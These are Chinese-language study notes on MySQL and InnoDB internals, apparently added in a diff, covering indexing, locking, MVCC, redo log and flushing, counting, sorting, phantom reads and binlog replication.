+使用覆盖索引可以显著提高查询性能,因为它避免了额外的数据查找。 +任何索引,无论是聚簇还是非聚簇,都可以作为覆盖索引,只要它满足查询的需求。 + +总结:聚簇索引和非聚簇索引是描述数据存储结构的术语,而覆盖索引是描述查询性能优化的术语。 + +## 2.最左前缀原则 + +联合索引的最左 N 个字段,也可以是字符串索引的最左 M 个字符,只要满足最左前缀,就可以利用索引来加速检索 +在建立联合索引的时候,如何安排索引内的字段顺序? +这里我们的评估标准是:索引的复用能力 +因此,第一原则是,如果通过调整顺序,可以少维护一个索引,那么这个顺序往往就是需要优先考虑采用的 + +最左前缀原则是指在查询时,只有满足最左边的前缀条件,才能利用到联合索引。也就是说,在一个多列的联合索引中,如果不按照索引的最左列开始查找,则无法使用该索引。 + +举个例子来说明这个原则和如何安排索引内的字段顺序: + +假设我们有一个用户表,表中有三个字段:user_id, user_name, 和 user_email。我们经常执行以下三种查询: + +根据 user_id 查询 +根据 user_name 查询 +根据 user_id 和 user_name 一起查询 + +为了优化这三种查询,我们可能会考虑建立以下三个索引: +索引A:user_id +索引B:user_name +索引C:user_id, user_name + +但是,根据最左前缀原则,我们实际上只需要建立以下两个索引: +索引A:user_id, user_name +索引B:user_name + +为什么呢? +当我们只根据 user_id 查询时,可以使用索引A的最左前缀user_id。 +当我们根据 user_name 查询时,可以使用索引B。 +当我们根据 user_id 和 user_name 一起查询时,可以完全使用索引A。 +这样,我们只需要维护两个索引,而不是三个,从而减少了索引的维护成本和空间。 + +所以,当我们说“索引的复用能力”和“如果通过调整顺序,可以少维护一个索引”的时候,意思是:在设计索引时,考虑到常见的查询模式,并尽量减少总的索引数量,从而提高效率和减少维护成本。 + + +## 3.索引下推 + +索引下推(Index Condition Pushdown,简称 ICP)是MySQL 5.6及之后版本中引入的一个查询优化技术。它允许MySQL在使用索引检索数据时更早地评估WHERE子句中的条件,从而避免不必要的数据访问。 + +为了更好地理解索引下推,我们可以通过一个例子来说明。 + +假设我们有一个订单表orders,表中有order_id、customer_id和order_date三个字段。其中,order_id是主键,customer_id和order_date是一个联合索引。 + +现在,我们想查询所有在某个日期之后的订单,并且这些订单的customer_id为某个特定值。SQL查询可能是这样的: + +```sql +SELECT * FROM orders WHERE customer_id = 1001 AND order_date > '2022-01-01'; +``` +在没有索引下推的情况下,MySQL的查询过程可能是这样的: + +使用customer_id和order_date的联合索引找到所有customer_id为1001的记录。 +对于每条找到的记录,回表获取完整的行数据。 +检查order_date是否大于'2022-01-01'。 +这意味着,即使order_date的条件不满足,MySQL也会回表获取数据,这是不必要的I/O操作。 + +但是,如果启用了索引下推,查询过程会有所不同: + +使用customer_id和order_date的联合索引找到所有customer_id为1001的记录。 +在索引层面,即在访问索引的时候,就检查order_date是否大于'2022-01-01'。 +只有当order_date的条件满足时,才回表获取完整的行数据。 +通过这种方式,索引下推可以减少不必要的数据访问,从而提高查询性能。 + +如何设置 +ICP 在 MySQL 5.6 及更高版本中默认启用。可以通过以下方式检查它是否已启用: + +```sql +SHOW VARIABLES LIKE 'optimizer_switch'; +``` +在 MySQL 中,索引下推(Index Condition Pushdown,简称 ICP)是一个优化策略,它允许 MySQL 在索引层评估 WHERE 子句的部分或全部条件,而不是在存储引擎层评估。这可以减少存储引擎必须检查的行数,从而提高查询性能。 + +在传统的查询执行中,MySQL 会使用索引来查找满足某些条件的行,然后将这些行的数据返回给服务器层,服务器层再对这些行应用 WHERE 子句中的其他条件。而在 ICP 中,这些额外的条件可以在索引层被评估,从而减少需要返回给服务器层的行数。 + +## 4.锁 +根据加锁的范围,MySQL 里面的锁大致可以分为全局锁、表级锁和行锁三类 + +在 InnoDB 中,锁是加在索引上的 + +### 4.1全局锁 +MySQL 加全局读锁的方法 +```sql +Flush tables with read lock;(FTWRL) +``` +全局锁的使用场景是,做全库逻辑备份 + +使用 FTWRL 的风险: + +如果是在主库上备份,那么备份期间不能执行更新,导致业务停摆 +如果是在从库上备份,那么备份期间从库不能执行主库同步过来的binlog,导致主从延迟 + +更好的解决办法是使用官方自带的逻辑备份工具 mysqldump ,当 mysqldump 使用参数 -single-transaction 时,导数据之前会启动一个事务,来确保拿到一致性视图。而由于 MVCC 的支持,这个过程中数据是可以正常更新的。 + +### 4.2表级锁 + +表级别的锁有两种:一种是表锁,一种是元数据锁(meta data lock,MDL)。 + +### 4.3表锁的语法 +```shell +lock tables ... read/write; +``` +与 FTWRL 类似,可以用 unlock tables 主动释放锁,也可以在客户端断开时自动释放 + +元数据锁 MDL 不需要显式使用,在访问一个表的时候会被自动加上。当对一个表做增删改查操作的时候,加 MDL 读锁;当要对表做结构变更操作的时候,加 MDL 写锁。 + +读锁之间不互斥,因此可以有多个线程同时对一张表增删改查. + +读写锁之间、写锁之间互斥,用来保证变更表结构操作的安全性。因此,如果有两个线程要同时给一个表加字段,其中一个要等另一个执行完才能开始执行。 +事务中的 MDL 锁,在语句执行开始时申请,但是会等整个事务提交后再释放 +在考虑做 DDL 变更的时候,要尽量避免长事务 + +## 5.行锁 + +两阶段锁 + +在 InnoDB 事务中,行锁是在需要的时候才加上的,但并不是不需要了就立刻释放,而是要等到事务结束时才释放。这个就是两阶段锁协议。 + +所以,如果在事务中需要锁多个行,要把最可能造成锁冲突、最可能影响并发度的锁的申请时机尽量往后放 + +死锁和死锁检测 +死锁:当并发系统中不同线程出现循环资源依赖,涉及的线程都在等待别的线程释放资源时,就会导致这几个线程都进入无限等待的状态,称为死锁。 + +出现死锁后,有两种策略: +一种策略是,直接进入等待,直到超时,超时时候可以通过参数来设置。 +另一种策略是,发起死锁检测,发现死锁后,主动回滚死锁链条中的某一个事务,让其他事务得以继续执行。默认是开启状态 + +使用第一种策略的话,意味着要么设置等待时间较大,默认值是 50 s,这个等待时间往往是无法接受的,要么等待时间设置较小,这样出现死锁的时候,确实很快可以解开,但是如果该线程并不是死锁呢,而只是简单的锁等待呢,往往会造成误伤。 + +正常情况下都是要采用第二种策略,但是这样也会有症结,就是死锁检测要耗费大量的 CPU 资源,对于每个新来的被堵住的线程,都要判断会不会由于自己的加入导致了死锁,这是一个 O(N) 的操作。 + +> 减少死锁的主要方向,就是控制访问相同资源的并发事务量 + +> 那么如何解决热点行更新导致的性能问题? + +热点行更新是指在高并发的场景下,多个请求频繁地更新同一行数据,导致该行数据成为“热点”。这种情况可能会引起以下问题: + +行锁竞争:多个事务试图更新同一行数据时,会产生行锁竞争。 +事务延迟:由于锁竞争,事务可能会被迫等待,导致延迟增加。 +CPU使用率上升:大量的锁竞争可能导致CPU使用率急剧上升。 +为了解决热点行更新导致的性能问题,可以考虑以下策略: + +分散热点: + +数据细分:将热点数据分散到多个表或分区中,例如,使用哈希或范围分区。 +使用缓存:将热点数据缓存在内存中,如Redis或Memcached,减少对数据库的直接访问。 + +优化锁策略: +减少锁的持有时间:尽量缩短事务的执行时间,使锁尽快释放。 +使用乐观锁:通过版本号或时间戳来检测数据在读取和写入之间是否被其他事务修改,从而避免使用昂贵的行锁。 + +读写分离:将读操作和写操作分发到不同的服务器或集群,以减轻单个数据库节点的压力。 + +使用延迟写入:对于非关键数据,可以考虑使用延迟写入策略,例如,先写入缓存或消息队列,然后再批量写入数据库。 + +限流:使用限流工具或中间件来控制到数据库的请求速率,确保系统在可控的负载下运行。 + +数据库优化: + +调整隔离级别:例如,使用读已提交(Read Committed)隔离级别,可能会减少锁竞争。 +使用更快的存储:例如,使用SSD来加速数据的读写。 + +代码层面优化: +批量操作:尽量使用批量插入、更新或删除,而不是单条记录的操作。 +避免长事务:确保事务尽可能短,避免长时间持有锁。 +监控与告警:持续监控数据库的性能指标,如锁等待、CPU使用率等,并设置合适的告警阈值,以便及时发现并处理热点问题。 +总之,解决热点行更新的性能问题需要从多个维度来考虑,结合具体的业务场景和系统架构来选择合适的策略。 + + + +## 6.事务的两种启动方式 + +第一种,begin / start transaction 方式启动事务,一致性视图是在执行第一个快照读语句时创建的 +第二种,使用 start transaction with consistent snapshot 命令启动,一致性视图在启动时就创建 + +在 MySQL 中,有两个 "视图" 的概念 +一个是 view 。它是一个用查询语句定义的虚拟表,在调用的时候执行查询语句并生成结果。创建视图的语法是 create view ... ,而它的查询方法与表一样。 +另一个是 InnoDB 在实现 MVCC 时用到的一致性读视图,即 consistent read view,用于支持 RC 和 RR隔离级别的实现。 + + +## 7.快照在 MVCC 中是怎样工作的 + +快照是基于整库的 +InnoDB 里面每个事务都有一个唯一的事务 ID,叫做 transaction id。(按申请顺序严格递增的) + +每行数据都有多个版本,每次事务更新数据,都会生成一个新的数据版本,并且把 transaction id 赋给这个数据版本的事务 ID,记为 row trx_id。同时,旧的数据版本要保留,并且在新的数据版本中有指针指向着它。 + +一个数据版本,对于一个事务视图来说,除了自己的更新总是可见以外,有三种情况: + +版本未提交,不可见; +版本已提交,但是是在视图创建后提交的,不可见; +版本已提交,而且是在视图创建前提交的,可见; +InnoDB 利用了 "所有数据都有多个版本" 的这个特性,实现了 "秒级创建快照" 的能力。 + +## 8.MVCC + +首先,我们需要理解InnoDB的MVCC(多版本并发控制)机制。MVCC是InnoDB为了支持高并发事务而采用的一种技术,它允许多个事务同时对同一数据进行读取和修改,而不会互相阻塞。 + +事务ID和数据版本 +事务ID:每当一个新的事务开始,它都会从一个全局递增的计数器中获得一个唯一的事务ID。 + +数据版本:当事务更新一行数据时,InnoDB不会直接覆盖原始数据,而是为这行数据创建一个新的版本,并将当前事务的ID赋给这个新版本的row trx_id。原始数据(旧版本)仍然被保留,并且新版本中有一个指针指向它。 + +> 即使使用一个简单的UPDATE语句(不在显式的事务块中),InnoDB仍然会为这行数据创建一个新的版本。这是因为InnoDB存储引擎在内部为每个UPDATE或DELETE操作隐式地启动了一个事务。所以,无论是在显式事务中还是单独的UPDATE/DELETE操作,InnoDB都会使用MVCC来处理数据的修改,不会直接覆盖原始数据。这种行为支持了InnoDB的事务隔离特性,并允许其他事务在同一时间读取旧版本的数据,直到新事务提交并使新版本的数据变得可见。 + + +读取数据时的版本可见性 +当一个事务尝试读取一行数据时,它需要确定哪个版本的数据是“可见”的。这取决于以下几点: + +读取事务的ID:正在尝试读取数据的事务有其自己的事务ID。 + +数据的row trx_id:每个数据版本都有一个与之关联的事务ID,表示是哪个事务创建的这个版本。 + +根据上面的规则,数据的可见性可以确定为: + +如果数据版本的row trx_id与读取事务的ID相同,那么这个版本是可见的(因为总是可以看到自己的修改)。 + +如果数据版本的row trx_id比读取事务的ID大(即,数据版本是在读取事务开始后创建的),那么这个版本是不可见的。 + +如果数据版本的row trx_id比读取事务的ID小,并且与其关联的事务已经提交,那么这个版本是可见的。 + +快照 + +当我们说InnoDB可以“秒级创建快照”时,我们的意思是,当事务开始时,它会立即获得一个当前的事务ID,这个ID决定了事务在其整个生命周期中可以看到哪些数据版本。这就是所谓的“快照”。 + +这种方法的好处是,事务不需要锁定读取的数据,因为它总是读取与其快照相对应的数据版本,这大大提高了并发性能。 + +总之,InnoDB的MVCC机制通过为数据的每个版本分配一个事务ID,并在读取时根据事务ID判断版本的可见性,从而实现了高并发下的数据一致性和隔离性。 + + +## 9.一致性读和当前读 + +1. 当前读 (Current Read) +在数据库中,当我们说到“读”,可能有两种不同的读: + +一致性读:这是默认的读操作。当事务读取数据时,它不会看到其他并发事务所做的未提交的更改。它只会看到在它开始之前已经提交的更改,以及它自己所做的更改。这种读取确保了事务的隔离性。 + +当前读:这是当事务想要修改数据时所做的读取。在这种情况下,事务需要读取数据的最新版本,无论这个版本是否已经被提交。因为在修改数据之前,事务需要知道数据的当前状态。 + +2. 更新数据的流程 +当一个事务想要更新一行数据时,它的操作流程大致如下: + +锁定数据:首先,事务会尝试为这行数据加锁。这确保了在此事务完成之前,没有其他事务可以修改这行数据。 + +执行当前读:事务会读取这行数据的最新版本。这是为了确保事务基于最新的数据状态进行更新。 + +修改数据:事务根据当前读取的数据值进行修改。 + +提交事务:如果事务成功地修改了数据并且没有遇到其他问题,它会提交,这时候更改会被永久保存。 + +3. 两阶段锁协议 +提到的“两阶段协议”是数据库事务管理中的一个重要概念。简单来说,它规定了事务如何加锁和释放锁: + +Growing Phase:在这个阶段,事务可以获取任意数量的锁,但不能释放任何锁。 + +Shrinking Phase:在这个阶段,事务可以释放锁,但不能再获取新的锁。 + +这个协议确保了数据库的串行化,即使在高并发环境下,也能确保数据的一致性和事务的隔离性。 + +总结:当事务更新数据时,它首先锁定数据,然后执行当前读来获取数据的最新状态,接着基于这个状态进行修改。这个过程确保了数据的一致性和事务的隔离性。 + +## 10.隔离性如何实现 + +事务的隔离性是指在并发环境中,一个事务的操作不应该被其他事务所看到,除非该事务已经提交。为了实现这一特性,数据库系统提供了不同的隔离级别。在InnoDB中,事务隔离是通过以下几种机制来实现的: + +多版本并发控制 (MVCC): + +如前所述,InnoDB为每行数据维护多个版本。当事务读取数据时,它不是读取最新版本,而是读取在事务开始时或之前有效的版本。这确保了事务在其生命周期内看到的数据是一致的,即使其他事务正在修改数据。 +MVCC允许多个读事务同时进行,而不会互相阻塞。 +锁定: + +共享锁 (S Locks) 和 排他锁 (X Locks): 当事务想要读取数据并可能在之后修改它时,它会请求共享锁。当事务想要修改数据时,它会请求排他锁。多个事务可以同时持有共享锁,但只有一个事务可以持有排他锁,且在此期间其他事务不能获得该数据的共享锁。 +意向锁: 这是一种表明事务接下来将请求哪种类型的锁(共享或排他)的锁。它们用于处理表级锁和行级锁之间的冲突。 + +Next-Key Locking: +InnoDB使用这种锁定策略来避免幻读(Phantom Reads)。这种策略不仅锁定查询到的行,还锁定索引范围内的间隙,确保在事务执行期间不会有新的行插入到该范围。 + +一致性非锁定读: +在某些隔离级别下,InnoDB允许事务执行非锁定读,这意味着读取操作不会设置任何锁,而是直接读取数据的旧版本。 +根据这些机制,InnoDB提供了以下四个隔离级别: + +READ UNCOMMITTED: 最低的隔离级别。一个事务可以看到其他未提交事务的更改。 +READ COMMITTED: 一个事务只能看到其他事务已提交的更改。 +REPEATABLE READ: 这是InnoDB的默认隔离级别。在这个级别下,事务在开始时看到的数据快照在事务结束之前都不会改变。 +SERIALIZABLE: 最高的隔离级别。它通过对所有读取的行设置共享锁来实现完全的串行化。 +事务隔离性的实现是一个平衡性能和数据一致性的问题。不同的应用可能需要不同的隔离级别,取决于它们的具体需求。 + +## 11.共享锁和排他锁 + +共享锁(S Locks)和排他锁(X Locks)通常是指行锁。在InnoDB中,这些锁是直接应用于数据行的。当事务想要读取某一行并可能在之后修改它时,它会请求这一行的共享锁;而当事务想要修改某一行时,它会请求这一行的排他锁。 + +意向锁则是一种稍微不同的锁,它是表级的锁。意向锁并不阻止其他事务对行进行读取或修改,而是表示一个事务在未来希望获得某一行的共享锁或排他锁。意向锁的存在是为了优化性能,使得数据库能够更有效地处理锁请求,避免不必要的锁冲突。 + +简而言之: + +共享锁和排他锁是行级锁,直接作用于具体的数据行。 +意向锁是表级锁,表示事务打算在未来对某行请求共享锁或排他锁。 + +## 12.change buffer 与 redo log 的不同 + +在 InnoDB 中,change buffer 机制不是一直会被用到,仅当待操作的数据页当前不在内存中,需要先读磁盘加载数据页时,change buffer 才有用武之地。而 redo log 机制,为了保证 crash-safe,一直都会用到 + +redo log 主要节省的是随机写磁盘的 I / O 消耗(转成顺序写),而 change buffer 主要节省的则是随机读磁盘的 I / O 消耗 + +## 13.redo log 实现持久性 +redo log 在 InnoDB 存储引擎中是用来保证事务的持久性(Durability)的关键组件。它是一个循环写的日志文件,主要有以下几个原因来确保循环写不会有问题: + +顺序写:首先,redo log 是顺序写的,这意味着磁盘写入操作是连续的,这大大提高了写入性能。 + +Write-Ahead Logging (WAL) 原则:当事务发生时,首先会写入redo log,并不立即修改数据文件。只有当redo log被持久化到磁盘后,事务才被认为是提交的。这确保了即使在系统崩溃的情况下,也可以通过redo log来恢复数据。 + +循环利用:redo log 是固定大小的,当它写满后,会从头开始循环写。但是,只有当旧的日志记录不再需要(即对应的数据已经持久化到数据文件中)时,它们才会被覆盖。这是通过检查redo log的检查点(checkpoint)来实现的。 + +检查点 (Checkpoint):检查点是redo log中的一个位置,它之前的所有操作都已经被应用到了数据文件中。这意味着,当redo log循环写入时,只有在检查点之后的位置才能被安全地覆盖。 + +双写缓冲区:为了防止在写入数据页到磁盘时发生部分写入的情况,InnoDB 使用了双写缓冲区。首先,修改后的页会被写入到双写缓冲区,然后再从双写缓冲区写入到实际的数据文件。这进一步确保了数据的完整性和持久性。 + + +## 14.Mysql 选错索引 + +MySQL 有时可能会选择不是最优的索引,这通常是由于查询优化器基于统计信息和成本模型做出的决策。以下是一些可能导致MySQL选择错误索引的原因: + +统计信息不准确:MySQL 使用统计信息来估计执行特定查询的成本。如果这些统计信息不准确或过时,查询优化器可能会做出不佳的决策。 + +成本模型的局限性:查询优化器使用一个成本模型来估计查询的执行成本。这个模型可能不总是完美的,特别是在某些复杂的查询场景中。 + +索引新建或者发生了大量的数据变更:如果一个索引刚刚被创建或者表中的数据发生了大量变更,统计信息可能还没有更新,导致优化器做出错误的决策。 + +复杂的查询:对于某些复杂的查询,优化器可能难以确定最佳的执行计划。 + +使用了FORCE INDEX或USE INDEX:这些查询提示可能会导致优化器选择非最优的索引。 + +数据分布不均:如果表中的数据分布非常不均匀,统计信息可能不能准确地反映实际的数据分布,导致优化器选择错误的索引。 + +系统变量设置:某些MySQL系统变量的设置可能会影响优化器的决策。 + +版本差异:不同版本的MySQL可能有不同的优化策略和算法。 + +为了避免或解决选择错误的索引的问题,可以考虑以下策略: + +定期运行ANALYZE TABLE来更新统计信息。 +仔细检查查询,确保它们是最优化的。 +在必要时使用查询提示,如FORCE INDEX。 +考虑使用EXPLAIN来查看查询的执行计划,以确定是否选择了正确的索引。 +保持MySQL版本更新,以获得最新的优化器改进。 + +## 15.索引选择异常和处理 +采用 force index 强行选择一个索引 +考虑修改语句,引导 MySQL 使用我们期望的索引 +在某些场景下,可以考虑新建一个更合适的索引,来提供给优化器做选择,或删掉误用的索引 + +## 16.给字符串字段加索引 +直接创建完整索引,这样做可能比较占空间 +创建前缀索引,节省空间,但会增加查询扫描次数,并且不能使用覆盖索引 +倒序存储,再创建前缀索引,用于绕过字符串本身前缀的区分度不够的问题 +创建 hash 字段索引,查询性能稳定,有额外的存储和计算消耗,跟第三种方式一样,都不支持范围扫描 + +## 17.SQL 语句为什么会突然变慢了 + +WAL 技术:全称是 Write-Ahead Logging ,它的关键点就是先写日志,再写磁盘。 + +具体来说,当有一条记录需要更新的时候,InnoDB 引擎就会先把记录写到 redo log 里面,并更新内存,这个时候更新就算完成了。同时,InnoDB 引擎会在适当的时候,将这个操作记录更新到磁盘里面,而这个更新往往是在系统比较空闲的时候做。 + +WAL 技术:全称是 Write-Ahead Logging ,它的关键点就是先写日志,再写磁盘。 + +具体来说,当有一条记录需要更新的时候,InnoDB 引擎就会先把记录写到 redo log 里面,并更新内存,这个时候更新就算完成了。同时,InnoDB 引擎会在适当的时候,将这个操作记录更新到磁盘里面,而这个更新往往是在系统比较空闲的时候做 + +利用 WAL 技术,数据库将随机写转换成了顺序写,大大提升了数据库的性能,但是由此也带来了内存脏页的问题。 + +脏页:当内存数据页跟磁盘数据页内容不一致的时候,我们称这个内存页为 "脏页" +干净页:内存数据写入磁盘后,内存和磁盘上的数据页的内容就一致了,称为 "干净页" +平时执行很快的更新操作,其实就是在写内存和日志,而 MySQL 偶尔 "抖" 一下的那个瞬间,可能就是在刷脏页(flush) + + +## 18.数据库 flush +首先,我们需要理解几个关键概念: + +Redo Log:这是一个用于确保事务持久性的日志系统。当对数据库进行更改(如插入、更新、删除等)时,这些更改首先被写入到redo log中,然后在稍后的某个时间点,这些更改会被应用到实际的数据文件中。 + +Checkpoint:这是一个特定的点,表示到此点为止的所有事务都已经保存到数据文件中。 + +脏页:这是在内存中已经被修改但尚未写入磁盘的数据页。 + +现在,让我们解析上述内容: + +当redo log写满时,系统需要为新的日志条目腾出空间。为了做到这一点,它会移动checkpoint,这意味着它会将之前的更改应用到数据文件中,从而可以在redo log中回收空间。 + +如果系统内存不足,它可能需要淘汰一些数据页以腾出空间。如果被淘汰的页是脏页(即已修改但未写入磁盘的页),那么这些更改需要先被写入磁盘。 + +即使在系统忙碌时,MySQL也会尝试在后台刷新脏页。这是为了确保数据的持久性并优化性能。 + +当正常关闭MySQL时,它会确保所有在内存中的脏页都被写入磁盘,确保数据的完整性。 + + +## 19.引发数据库 flush 的情况: + +InnoDB 的 redo log 写满了,这时候系统会停止所有更新操作,把 checkpoint 往前推进,redo log 留出空间可以继续写(redo log 的空间是循环使用的,无所谓释放。对应的内存页会变成干净页,但是等淘汰的时候才会逐出内存) +系统空间不足。当需要新的内存页,而内存不够用的时候,就要淘汰一些数据页,空出内存给别的数据页使用。如果淘汰的是脏页,就要先将脏页写到磁盘。 +MySQL 认为系统 "空闲" 的时候,但即使是不空闲的时候,MySQL 也会见缝插针地找时间,只要有机会就刷一点脏页 +MySQL 正常关闭的情况下,这时候,MySQL 会把内存的脏页都 flush 到磁盘上。 +对于脏页,脏页会被后台线程自动 flush,也会由于数据页淘汰而触发 flush,而刷脏页的过程由于会占用资源,就有可能会让的更新和查询语句的响应时间长一些。 + + +## 20.为什么表中的数据被删除了,但是表空间却没有被回收? + +InnoDB存储结构:InnoDB使用一个称为表空间的结构来存储数据。默认情况下,所有InnoDB表的数据和索引都存储在一个名为ibdata1的共享表空间文件中。 + +删除操作:当从InnoDB表中删除数据时,数据确实会被删除,但是与此数据相关的空间只会在InnoDB内部被标记为可用,而不会被立即返回给操作系统。 + +空间再利用:尽管这些空间没有被返回给操作系统,但InnoDB仍然可以再次使用它们。如果在后续的操作中插入新的数据,InnoDB会优先使用这些已释放的空间。 + +表空间回收:要真正从磁盘上回收这些空间,通常需要执行额外的操作,如优化表(OPTIMIZE TABLE命令)。但请注意,这通常涉及重建整个表,可能需要很长时间,并且在此过程中表可能会被锁定。 + +文件-per-table模式:在较新版本的MySQL中,可以启用innodb_file_per_table配置选项,这样每个InnoDB表都会有其自己的表空间文件。这可以使空间管理更加灵活,因为当优化或删除一个表时,与该表相关的空间可以被操作系统回收。 + +碎片化:随着时间的推移,表空间可能会碎片化,尤其是在频繁的插入、删除和更新操作之后。这也是为什么表的物理大小可能大于实际存储的数据大小。 + + +## 21.重建表 +经过大量增删改查的表,都是有可能存在空洞的,所以,如果能够把这些空洞去掉,就能达到收缩表空间的目的。 + +而重建表,就可以达到这样的目的 + +可以用来重建表的命令 + +alter table t engine=InnoDB; +注意: + +从 MySQL 5.6 版本开始,alter table t engine=InnoDB 可以支持 Online 了 +analyze table t 其实不是重建表,只是对表的索引信息做重新统计,没有修改数据,这个过程中加入了 MDL 读锁 +optimize table t 等于 重建表+ analyze 。 + + +## 22.count(*) 为什么这么慢? + +首先需要明确的是,在不同的 MySQL 引擎中,count(*) 有不同的实现方式 + +MyISAM 引擎把一个表的总行数存放在磁盘上,查询时直接返回 +InnoDB 在执行 count(*) 时,需要把数据一行一行的从引擎中读出来,然后累积计数 +注意,这是没有在考虑过滤条件的情况下,如果加了 WHERE 条件,MyISAM 表也不可能返回的这么快 +为什么 InnoDB 不跟 MyISAM 一样,也把数字存起来呢 + +这是因为即使是在同一时刻的多个查询,由于多版本并发控制(MVCC)的原因,InnoDB 表 "应该返回多少行" 也是不确定的 + + +对于 count(*) 优化的基本思路是:找一个地方,把操作记录表的行数存起来 + +### 22.1 使用缓存系统保存计数 +比如说使用 Redis,但是这样会存在丢失更新的问题,而且即使 Redis 正常,这个值还是逻辑上不精确的 + +### 22.2 在数据库保存计数 +把这个计数直接放到数据库里单独的一张计数表 C 中,这样做是行得通的,利用事务这个特性,可以将问题解决掉 + +其实,把计数放在 Redis 里面,不能够保证计数和 MySQL 表里的数据精确一致的原因,是 这两个不同的存储构成的系统不支持分布式事务,无法拿到精确一致的视图。 而把计数值也放在 MySQL 中,就解决了一致性视图的问题。 +附,count() 函数效率排序 +count(字段) < count(主键 id) < count(1) ≈ count( * ),所以建议是,尽量使用 count(*) + + +## 23.order by 是怎样工作的 + +全字段排序 +​取出想要查询的所有列的值放入 sort_buffer 中,然后再排序返回给客户端 + +如果要排序的数据量小于 sort_buffer_size ,排序就在内存中完成。但如果排序数据量太大,则不得不利用磁盘临时文件辅助排序 + +rowid 排序 +​如果单行长度太大,全字段索引的效率就不够好,这时候可以采用 rowid 排序,只将要排序的列以及主键 id 放入 sort_buffer ,等排序完再按照 id 值回到原表中取出所有要查询的字段再返回给客户端 + + +如果 MySQL 实在是担心排序内存太小,会影响排序效率,才会采用 rowid 排序算法,这样排序过程中一次可以排序更多行,但是需要再回到原表中去取数据。 + + +## 24.逻辑相同,性能差异巨大? +对索引字段做函数操作,可能会破坏索引值的有序性,因此优化器就决定放弃走树搜索功能 +要注意隐式类型转换,索引字段被进行了隐式类型转换,就相当于使用了 CAST() 函数,进行了函数操作 +注意,在 MySQL 中,字符串和数字做比较的话,是将字符串转换成数字 + + +## 25.为什么只查一行数据,也执行这么慢? + +### 查询长时间不返回 +等 MDL 锁 +状态:使用 show processlist 命令查看到状态为 Waiting for table metadata lock + +原因:可能有一个线程正在表上请求或者持有 MDL 写锁,把 select 语句堵住了 + +解决办法:找到谁持有 MDL 写锁,然后把它 kill 掉。通过查询 sys.schema_table_lock_waits 这张表,就可以直接找出造成阻塞的 process id,把这个连接用 kill 命令断开即可。 + + +等 flush +状态:查询出来线程的状态是 Waiting for table flush + +原因:这个状态表示现在有一个线程正要对这个表做 flush 操作 + +解决办法:也是使用 show processlist ,然后就更上一种解决方式一样了 + +等行锁 +状态:加共享锁的查询语句被阻塞住 +原因:有另一个事务在这行记录上持有一个写锁 +解决办法:MySQL 5.7 之后可以通过 sys.innodb_lock_waits 查到是谁占着这个写锁,然后给它 kill 掉 + + +## 26.幻读 + +幻读指的是一个事务在前后两次查询同一个范围的时候,后一次查询看到了前一次查询没有看到的行 + +在可重复读隔离级别下,普通的查询是快照读,是不会看到别的事务插入数据的。因此,幻读在当前读下才会出现 +幻读仅专指 "新插入的行" +幻读首先会产生语义上的问题,会破坏加锁声明,其次是数据一致性的问题,即使把所有的记录都加上锁,还是阻止不了新插入的记录 + +如何解决幻读 +产生幻读的原因是,行锁只能只能锁住行,但是新插入记录这个动作,要更新的是记录之间的 "间隙"。因此,为了解决幻读问题,InnoDB 只好引入新的锁,也就是间隙锁(Gap Lock)。 + +间隙锁之间并不存在冲突关系,跟间隙锁存在冲突关系的,是 "往这个间隙中插入一个记录" 这个操作 + +间隙锁与行锁合称为 next-key lock ,每个 next-key lock 是前开后闭区间,间隙锁和 next-key lock 的引入,帮助我们解决了幻读的问题,但同时因为间隙锁的引入,可能会导致同样的语句锁住更大的范围,这其实是影响了并发度的 + +## 27.业务高峰期 MySQL 中临时提高性能的方法 + +第一种方法:先处理掉哪些占着连接但是不工作的线程 +使用 show processlist 结合 information_schema 库的 innodb_trx 表,然后使用 kill connection + id 的命令主动断开客户端连接 + +优先断开事务外空闲太久的连接;如果这样还不够,再考虑断开事务内空闲太久的连接。 + + +第二种方法:减少连接过程的消耗⚠ + +慢查询性能问题 +导致慢查询的第一种可能是,索引没有设计好 +第二种可能是,语句没写好,MySQL 5.7 提供了 query_rewrite (查询重写)功能,可以把输入的一种语句改写成另外一种模式 +第三种可能是,MySQL 选错了索引,应急方案是可以给这个语句加上 force index ,同样也可以使用查询 + +重写功能 +QPS 突增问题 +如果是由全新业务的 bug 导致,可以从数据库端直接把白名单去掉 +如果这个新功能使用的是单独的数据库用户,可以用管理员账号把这个用户删除 +使用查询重写功能,把压力最大的 SQL 语句直接重写成 select 1 返回 ⚠ + + +## 28.MySQL 如何保证数据不丢 + +WAL 机制为什么好 +WAL 机制主要得益于两个方面: +redo log 和 bin log 都是顺序写,磁盘的顺序写比随机写速度要快 +组提交机制,可以大幅度降低磁盘的 IOPS 消耗 +实际上数据库的 crash-safe 保证的是: + +如果客户端收到事务成功的消息,事务就一定持久化了 +如果客户端收到事务失败(比如主键冲突、回滚等)的消息,事务就一定失败了 +如果客户端收到 "执行异常" 的消息,应用需要重连后通过查询当前状态来继续后续的逻辑。此时数据库只需要保证内部(数据和日志之间,主库和备库之间)一致就可以了 + +## 29.MySQL 是如何保证主备一致的 +binlog 的三种格式对比 +binlog 有三种格式,statement、row 以及这两种模式的混合 mixed + +statement +statement 格式下记录到 binlog 里的是语句原文,因此可能会出现这样一种情况:在主库执行这条 SQL 语句的时候,用的是索引 a ;而在备库执行这条语句的时候,却使用了索引 b 。因此,MySQL 认为这样写是有风险的 + +row +当 binlog_format 使用 row 格式的时候,binlog 里面记录了真实删除行的主键 id,这样 binlog 传到备库去的时候,就肯定会删除指定行的数据,不会出现主备删除不同行的问题 + + +mixed +为什么会有 mixed 这种 binlog 格式的存在场景呢 + +因为 statement 格式的 binlog 可能会导致主备不一致,所以要使用 row 格式,但 row 格式的缺点是很占空间,要记录下所有被修改行的记录,不仅会占用更大的空间,同时写 binlog 也要耗费 IO 资源,影响执行速度, + +所以,MySQL 就取了个折中方案,也就是有了 mixed 格式的 binlog。mixed 格式的意思是,MySQL 自己会判断这条 SQL 语句是否可能会引起主备不一致,如果有可能,就用 row 格式,否则就用 statement 格式 + + +## 30.循环复制问题 + +实际生产上使用比较多的 双M结构 + +如何解决 + +规定两个库的 server id 必须不同,如果相同,则它们之间不能设定为主备关系; +一个备库接到 binlog 并在重放的过程中,生成与原 binlog 的 server id 相同的新的 binlog; +每个库在收到从自己的主库发过来的日志后,先判断 server id,如果跟自己的相同,表示这个日志是自己生成的,就直接丢弃这个日志 + +主备延迟 +所谓主备延迟,就是同一个事务,在备库执行完成的时间和主库执行完成的时间之间的差值 + +在备库上执行 show slave status 命令,它的返回结果里会显式 seconds_behind_master ,用于表示当前备库延迟了多少秒 + 